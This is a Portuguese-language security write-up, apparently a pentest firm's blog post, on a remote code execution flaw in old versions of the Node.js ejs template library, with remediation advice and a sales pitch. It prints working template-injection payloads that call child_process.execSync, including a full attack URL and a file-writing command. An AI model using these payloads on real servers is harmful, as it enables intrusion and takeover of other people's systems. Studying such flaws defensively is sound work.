Por Equipe de Pesquisa da FikreSekhel | Vulnerability Research & Pentesting
Introdução
Durante uma análise de segurança conduzida em uma aplicação web de um de nossos clientes, a equipe de pesquisa da FikreSekhel identificou uma grave vulnerabilidade de Execução Remota de Código (RCE) causada pelo uso da biblioteca ejs em uma versão desatualizada e insegura.
A falha, silenciosa e facilmente negligenciada por desenvolvedores, permitia que um atacante executasse comandos arbitrários no servidor, comprometendo completamente o ambiente da aplicação.
Este artigo detalha como identificamos a falha, criamos a prova de conceito (PoC) e confirmamos o impacto real da vulnerabilidade, em mais um caso real de pesquisa ofensiva realizada por nossa equipe.
O Que é a Vulnerabilidade?
A biblioteca ejs (Embedded JavaScript Templates) é amplamente utilizada para renderizar páginas HTML dinâmicas em aplicações Node.js. Porém, versões antigas — especialmente a 2.7.4 — permitem que entradas controladas pelo usuário sejam interpretadas como código JavaScript, quando processadas com ejs.render() ou renderFile() sem sanitização.
Essa falha pode resultar em RCE — Remote Code Execution, um dos tipos mais perigosos de vulnerabilidade em servidores web.
Condições para Exploração
Para que a vulnerabilidade possa ser explorada, são necessárias as seguintes condições:
- A aplicação utiliza a versão ≤ 2.7.4 do
ejs. - A entrada do usuário é injetada diretamente em
ejs.render()como parte do template. - A função
requireestá acessível no contexto do template (por exemplo, viarequire: requirenorender()).
Desenvolvimento da Prova de Conceito
Após análise do fluxo de templates do sistema, identificamos que havia uma rota que recebia parâmetros via query string e os passava diretamente para o mecanismo de template.
Criamos, então, um código de exploit simples que demonstra a execução de comandos no servidor:
<%= require('child_process').execSync('whoami').toString() %>
Este payload, quando passado na URL, executava o comando whoami no sistema operacional, e o resultado era renderizado na resposta HTML da página.
Exemplo real do ataque:
http://localhost:3000/?userInput=<%= require('child_process').execSync('whoami').toString() %>
Resultado renderizado:
C:\Users\cliente-prod
A partir disso, testamos outros comandos como:
<%= require('child_process').execSync('echo hacked > hacked.txt') %>
Esse comando criou um arquivo diretamente no servidor, comprovando a execução remota.
Impacto
O impacto desta falha é crítico:
- Execução remota de qualquer comando shell.
- Possibilidade de leitura, escrita e exclusão de arquivos.
- Instalação de backdoors.
- Comprometimento total da infraestrutura.
De acordo com o CVSS v3.1, esta vulnerabilidade é classificada como:
- 🔴 NVD Score: 9.8 (Crítico)
- 🟠 Snyk Score: 8.1 (Alta)
Correção
A vulnerabilidade foi corrigida nas versões mais recentes da biblioteca. Recomendamos:
- Atualizar o
ejspara a versão 3.1.7 ou superior. - Nunca passar entradas do usuário diretamente para
ejs.render()sem validação. - Evitar tornar
requireacessível dentro dos templates.
bashCopiarEditarnpm install ejs@3.1.7
Conclusão
Este caso real mostra como pequenas decisões de implementação — como manter bibliotecas desatualizadas ou reutilizar entradas sem sanitização — podem abrir portas para ataques graves como RCE.
A FikreSekhel atua de forma ética e responsável na descoberta e mitigação de vulnerabilidades críticas em ambientes reais, auxiliando empresas a protegerem seus sistemas e usuários.
🔒 Quer saber se sua aplicação está exposta a falhas semelhantes?
Entre em contato com a FikreSekhel e solicite uma análise técnica completa:
📩 contato@fikresekhel.com
